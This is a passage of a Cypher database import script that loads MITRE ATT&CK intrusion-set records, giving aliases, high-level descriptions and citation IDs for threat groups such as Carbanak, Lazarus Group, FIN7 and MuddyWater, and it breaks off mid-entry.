external_references:["9b8183ba-b921-441c-b42e-db6cf8932575", "5c1788e8-e4a6-4cd5-bc6a-66035900a8f9", "d68ca1c8-9009-499b-8f80-12305b85e93a", "5fc54a8c-4248-4719-8b7a-a496cb9df200", "adfd787a-1bdb-4ea1-8206-e7c00ec94e5a", "2de68772-76a7-46de-a510-4d554733c1e5", "47fede63-8f16-486c-a46f-d9f8e4b25dd3"]}}, {_id:9230, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Carbanak", "Anunak", "Carbon Spider"], first_seen:"", last_seen:"", created:"2017-05-31T21:31:49.021Z", custom:"{\"x_mitre_version\":\"1.0\",\"x_mitre_contributors\":[\"Anastasios Pingios\"]}", description:"[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Carbanak", modified:"2019-03-22T19:59:26.767Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", goals:[], external_references:["0ac65caf-b15f-4fde-a7c1-26d8c4232b12", "6716e1f0-eeae-4b24-a6f2-10f23a101ed3", "7b5afb2b-feb6-42cd-8c10-45d2b6cdf107", "3aabb938-5ed5-49d1-80fe-fb3839d7a8e7", "ffa9236a-6b25-4396-9585-ab927f769c8b", "13b4a513-cd3b-44f0-a986-3d0943c18e5e", "93372f06-89e8-47e0-970d-d592c9cba8a7", "fc3ad90e-f4ad-45a3-94b1-ae9f49215f7a"]}}, {_id:9250, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Cobalt Group", "Cobalt Gang", "Cobalt Spider"], last_seen:"", created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Cobalt Group", modified:"2019-07-26T23:38:32.356Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", goals:[], external_references:["d4e8f7ff-e12d-407f-a5ed-09ba6d3cf72a", "fb63554c-313d-4a65-9237-c9f016575891", "36d69339-521b-4f6e-8da8-6193e2168ed3", "c7be62f0-73c4-471f-b914-002613ca22f5", "15ce0b39-7afc-413f-bc52-a8f75e0673b9", "3c30a16b-55e5-4c12-abe4-bd6733b6d932", "099e27a3-e175-4d3b-99b2-e46865ffd117", "66c27a24-1117-4bb6-a1aa-809054d871bc", "5c3c7735-c607-4e41-8c11-e2b18d86d0e4", "1ef70773-97c2-45d4-90ca-2750c486c6f8", "99376885-8752-4c4f-89f5-35d3398a4408", "f3638bce-b28f-4834-b531-01502fb7dee5", "6b3716b7-b33c-4a50-9815-ddb59b5d1fe5", "ed9814e7-46bb-4798-b8a1-dc4fcc61e898"]}}, {_id:9265, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["CopyKittens"], last_seen:"", created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_version\":\"1.2\"}", description:"[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"CopyKittens", modified:"2019-10-11T19:32:55.187Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", goals:[], external_references:["7d1bc5f4-aec2-447d-aae1-2510b1b93beb", "460fc234-df93-4b68-b491-c5319efa1156", "2b5c9a77-7fe1-4d05-a265-676cf846c107", "d0089a85-e056-4f4b-93c8-78857f91a80f", "fdeb6ab9-cafa-449b-ba1d-9ae5103bbbd1"]}}, {_id:9275, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["DarkHydrus"], last_seen:"", created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"DarkHydrus", modified:"2019-10-11T19:34:32.621Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", goals:[], external_references:["5e526571-3457-4ac5-af13-c77e810bb049", "7699d0bc-eebc-45d7-b82f-80d4ec27df1b", "ed493aab-6a21-4a42-96f1-102cb9fdb074", "d2df4b0b-61cb-4753-b645-e9a4648c078f"]}}, {_id:9280, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Darkhotel"], last_seen:"", created:"2017-05-31T21:31:50.624Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Darkhotel", modified:"2019-01-31T18:48:51.556Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", goals:[], external_references:["105b50aa-0dae-4178-9ec8-09a4d905a8d8", "f29e4519-065c-4741-9634-c42a40173fa4", "6e725e44-9dd5-4aa5-bb51-3dbc6217e505"]}}, {_id:9284, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Deep Panda", "Shell Crew", "WebMasters", "KungFu Kittens", "PinkPanther", "Black Vine"], first_seen:"", last_seen:"", created:"2017-05-31T21:31:49.412Z", custom:"{\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Andrew Smith, @jakx_\"]}", description:"[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Deep Panda", modified:"2019-10-11T19:37:54.230Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", goals:[], external_references:["c4820da4-01af-4ad1-854b-cc25bb521b39", "7310f77e-121e-4d22-855f-5ab9cd894e51", "0e2fb6d1-5723-4f9e-a922-75862ebf005d", "26dfc5bc-63aa-4b15-b3be-226a0402ca33", "f1cb4e7a-edbf-4e97-a0ea-d4753c5f397d", "dbce0cc2-7fea-47a5-826a-f46b81a043a4", "440c6d30-d708-407b-bc5f-962aa3cc648c", "b4476d38-25d9-4085-91fc-ac6534f09016", "68061e93-6556-43b1-b797-b7933169ba91", "14543e1d-f1b6-4adb-8196-cb48b0878707", "89151dad-162e-4efd-96b1-8d725f4e487b", "b4569d7a-6962-406e-8fe9-9a9be1b01c83"]}}, {_id:9309, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Dragonfly 2.0", "Berserk Bear"], first_seen:"", last_seen:"", created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Dragonfly 2.0", modified:"2019-03-22T20:13:49.069Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", goals:[], external_references:["e1b8014e-e30f-4e5a-8baf-efcf5d834358", "2cbe8d22-6c12-4a93-9aee-6fee713950c7", "c5945bfe-5a41-4f73-97e4-e1aa19977d7d", "cf271253-7d99-478f-a2a9-8aa594cb2bc1", "3fc0d66c-bbde-4118-a7e4-d1f7af5fbe64", "d51b8c1d-61a9-4e72-937c-f455b55d94ed"]}}, {_id:9329, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Equation"], last_seen:"", created:"2017-05-31T21:31:54.697Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Equation", modified:"2019-01-31T18:38:24.164Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", goals:[], external_references:["f6add3a0-15c5-4ca9-8792-9e63755ed704", "f1288f24-fed1-41f7-a997-0b58a0b63757", "abb037c0-7ffb-42c0-8ba1-1ad57b9b46d1"]}}, {_id:9337, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["FIN4"], last_seen:"", created:"2019-01-31T02:01:45.129Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"FIN4", modified:"2019-04-18T20:19:49.089Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", goals:[], external_references:["e457fe32-a0f4-40b9-82af-85532aa3fa3d", "28e8c9be-eac6-4ad3-a680-7a26fd52fdaf", "919da1d6-9344-4324-b0c1-27a532c8e986", "bae25465-c7c3-4150-9c54-4533f1f5e3c4", "8e0c60b3-96c7-4c08-bd48-55568d45005c"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:intrusion_set:SDO;
UNWIND [{_id:9349, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["FIN6", "ITG08"], last_seen:"", created:"2017-05-31T21:32:06.015Z", custom:"{\"x_mitre_version\":\"2.0\",\"x_mitre_contributors\":[\"Drew Church, Splunk\"]}", description:"[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"FIN6", modified:"2019-10-15T17:55:22.250Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", goals:[], external_references:["e00f340f-9653-44dc-bb2f-12efce7cf95c", "b69c260f-bef7-4c79-9ce9-72b19d00e4bb", "80a77289-efff-4d22-b563-5a02dd3fbc97", "814196aa-0fc0-4846-a4d0-8461d2b3156d", "4d476cbd-ec57-4fa8-819b-1f774148123e", "e5a297b0-4c05-4404-9841-a698eac8a8fd"]}}, {_id:9356, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["FIN7"], last_seen:"", created:"2017-05-31T21:32:09.460Z", custom:"{\"x_mitre_version\":\"1.3\"}", description:"[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"FIN7", modified:"2019-10-15T17:03:11.937Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", goals:[], external_references:["776a21f6-75d6-4f34-970e-314d9b72d5d3", "5352b6ae-e775-4f6d-a554-b9a84bba0f52", "11cab360-6358-4bb7-8e7a-8ee0b439d023", "29f248a6-408f-4590-bf87-93a0002dba3c", "f914c59d-9329-415c-a937-9ccb0885c3ef", "3110b27e-43a8-4366-8255-b1085f4d9986", "81ed8d41-5d89-4c88-93a6-9f2c36bcaa2f", "471cc5bc-08eb-4c86-872d-63a18c2d7bf2"]}}, {_id:9382, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Gorgon Group"], last_seen:"", created:"2018-10-17T00:14:20.652Z", custom:"{\"x_mitre_version\":\"1.3\"}", description:"[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Gorgon Group", modified:"2019-10-11T19:39:42.405Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", goals:[], external_references:["c9da2074-a5db-4a0e-9c0c-7a0da9df45ee", "ef474662-bb94-4eef-83a5-2e7285adbf30", "f6bc9397-9a2f-4664-b790-37a2e831fe50"]}}, {_id:9386, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Group5"], last_seen:"", created:"2017-05-31T21:32:08.304Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Group5", modified:"2019-07-25T17:52:06.421Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", goals:[], external_references:["285e515e-2964-43df-9c87-78574a110a73", "de2bb31c-7545-4380-a1b8-d34ce6c44981", "89e18a56-5d5a-4201-8a8d-f167d4e5bfc7"]}}, {_id:9394, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Ke3chang", "APT15", "Mirage", "Vixen Panda", "GREF", "Playful Dragon", "RoyalAPT"], last_seen:"", created:"2017-05-31T21:31:47.177Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China.\n[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Ke3chang", modified:"2019-04-22T15:08:48.005Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", goals:[], external_references:["847b43f0-1dac-4dbc-b703-d9828336a358", "35339560-8ae3-4841-99a1-11e09f92a57f", "1bd75d43-18f5-46de-8108-d96f7846f1aa", "e987eb93-dd9d-40de-98eb-855fe6e05ea1", "04d0592a-50c4-4008-adfb-a79c30b4cb07", "c156693c-7c4f-43ff-ba88-e284889c15eb", "cddc4505-2861-498a-aa64-f3e57a168a1c", "e6ac3487-0f8b-4930-ac55-efe60a7571b3", "1d500a17-33a6-4ed5-b1f9-f5f87f087daa", "76666dc6-ad06-457a-9825-ecd7b1ef3255", "3bce3d43-ffa8-48c5-a3b4-34482ed5c212"]}}, {_id:9406, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Kimsuky", "Velvet Chollima"], last_seen:"", created:"2019-08-26T15:03:02.577Z", custom:"{\"x_mitre_version\":\"1.0\"}", description:"[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Kimsuky", modified:"2019-10-07T18:26:15.460Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", goals:[], external_references:["1f59b066-bcdd-40c5-a506-ba018ca292fb", "411a03ba-a082-46cb-940a-2928a76831bf", "d6088288-962d-4971-95f5-cc46bf7269e2", "de1bb80d-96d5-4340-89f2-edcbd926e796", "00c04941-d589-4098-8db9-cc12f4235ee1", "c281e063-1d9f-4e93-9a03-a99eee88b988", "1ec354c1-ea0f-4ef8-b880-badfd4acb7ff"]}}, {_id:9414, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Lazarus Group", "HIDDEN COBRA", "Guardians of Peace", "ZINC", "NICKEL ACADEMY"], last_seen:"", created:"2017-05-31T21:32:03.807Z", custom:"{\"x_mitre_version\":\"1.2\"}", description:"[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Lazarus Group", modified:"2019-10-04T22:20:20.708Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", goals:[], external_references:["05c38e2b-532b-44d3-b0ce-325f5fead710", "1b3968f6-0373-47a9-9324-656ff42e57c7", "eeb48949-b0e5-4de7-a507-1b46f5b27a2a", "baba3f23-b7d4-499b-8e38-97ec1f1ed7c3", "c83b749d-8d82-4e13-a775-be916f06028a", "ce8b4a8c-16ad-4982-838f-679b2f2216ce", "316d9fc1-f8c4-41f9-a3b4-e1f90f73dd4f", "7868b4ad-5944-443d-aa92-9a177fcbece9", "a167174b-9ba6-4a43-ac52-fbdb4ece907e", "85f2cf8e-d0ca-4140-8d82-b00618a5c1e7", "ef02a8df-d450-4fdf-9d2b-c2540ec9eb7c", "7cf0a260-17eb-4f3c-8600-bf46653e6601", "02bf7f45-edfc-4689-93b9-8e49dd2e45db"]}}, {_id:9434, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Leviathan", "TEMP.Jumper", "APT40", "TEMP.Periscope"], first_seen:"", last_seen:"", created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_version\":\"2.0\",\"x_mitre_contributors\":[\"Valerii Marchuk, Cybersecurity Help s.r.o.\"]}", description:"[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Leviathan", modified:"2019-09-23T13:20:20.607Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", goals:[], external_references:["ca0922d8-c655-47c6-bac7-b1c59be32ce7", "bb09fc2e-f257-4d97-9680-4c5e1de5d63f", "b2b105f2-277a-45be-a509-6a7a220dd6ec", "fcaf4c05-1aeb-48f5-9b2f-a5b7b0b8ef98", "623110c7-ee82-4dc5-9e03-079474054008", "6b193817-46f4-4850-ae92-c2804a9aab8e", "4c5a4d12-076e-4162-a288-ad18634b5cda", "3185ea8b-256c-4d1d-8d41-9bd6ac9811e5"]}}, {_id:9460, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], aliases:["Magic Hound", "Rocket Kitten", "Operation Saffron Rose", "Ajax Security Team", "Operation Woolen-Goldfish", "Newscaster", "Cobalt Gypsy", "APT35"], first_seen:"", last_seen:"", created:"2018-01-16T16:13:52.465Z", custom:"{\"x_mitre_version\":\"1.1\",\"x_mitre_contributors\":[\"Bryan Lee\"]}", description:"[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"Magic Hound", modified:"2019-10-15T17:33:21.974Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", goals:[], external_references:["a7ead240-1fdd-4892-a548-e51e435530bf", "e137bbd1-9ed6-4cf7-9998-5d5f8467d9d7", "425a3239-7b99-4f30-89ef-c1d81582d7cf", "264b8e61-a46f-4db3-b43c-4b200e0c2ab6", "f3c4cbef-00a4-4edf-aa38-769ba7f5006c", "08d1d6f0-a9c9-4c67-bb57-df881ed6b57a", "790a09da-36bd-4a19-b25c-e47cf74238b5", "da0f0473-7763-4210-ae72-1720d0710eb5", "7981b6cd-26ef-4e53-bd33-1a24d4a578c1", "7beedd9b-cd50-48f9-9da7-3307cd42aced", "5cfe3e9f-39cb-4b75-8899-19d3f1793779", "81539584-4866-4469-8bf2-326867e5789a", "fc800e59-123d-4e13-b881-765120d63d68"]}}, {_id:9486, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["MuddyWater", "Seedworm", "TEMP.Zagros"], last_seen:"", created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_version\":\"2.1\"}", description:"[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)", type:"intrusion-set", revoked:false, resource_level:"", secondary_motivations:[], labels:[], granular_markings:[], primary_motivation:"", name:"MuddyWater", modified:"2019-06-28T15:30:58.102Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", goals:[], external_references:["33f1206b-caa9-4d53-9cc9-75df4e7d88d0", "dc8109de-6ed8-428f-96a1-6e3e0015bf87", "b37836aa-d142-4106-b426-383270c59563", "c3f5cee7-e3d4-46b3-86dc-22887d4ffca4", "c69923dd-baa8-4694-b854-c29fa60ad2ce", "2e07c060-977e-4454-b42e-c6071a5256c9", "52b0ff84-a753-4835-8569-c79701166884", "f3f86a22-00e8-4aea-92c9-e9d8578add76"]}}, {_id:9507, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], first_seen:"", aliases:["Night Dragon"], last_seen:"", created:"2017-05-31T21:31:51.643Z", custom:"{\"x_mitre_version\":\"1.1\"}", description:"[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in 